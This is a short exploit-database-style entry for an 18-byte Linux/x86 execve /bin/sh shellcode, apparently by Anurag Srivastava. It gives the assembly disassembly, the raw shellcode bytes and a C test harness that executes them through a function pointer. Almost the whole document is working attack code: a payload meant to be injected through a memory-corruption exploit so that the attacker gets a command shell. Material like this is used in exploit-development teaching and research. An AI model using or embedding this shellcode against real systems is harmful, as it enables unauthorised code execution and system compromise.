18 bytes small Linux/x86 execve /bin/sh shellcode.
739370cc7f3f22c6cac85503319011b5/*
# Linux/x86 - execve /bin/sh shellcode (18 bytes)
# Author: Anurag Srivastava
# Tested on: i686 GNU/Linux
# Shellcode Length: 18
Disassembly of section .text:
08048060 <_start>:
8048060: 6a 0b push 0xb
8048062: 58 pop eax
8048063: 53 push ebx
8048064: 68 2f 2f 73 68 push 0x68732f2f
8048069: 68 2f 62 69 6e push 0x6e69622f
804806e: 89 e3 mov ebx,esp
8048070: cd 80 int 0x80
===============POC by Anurag Srivastava=========================
*/
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}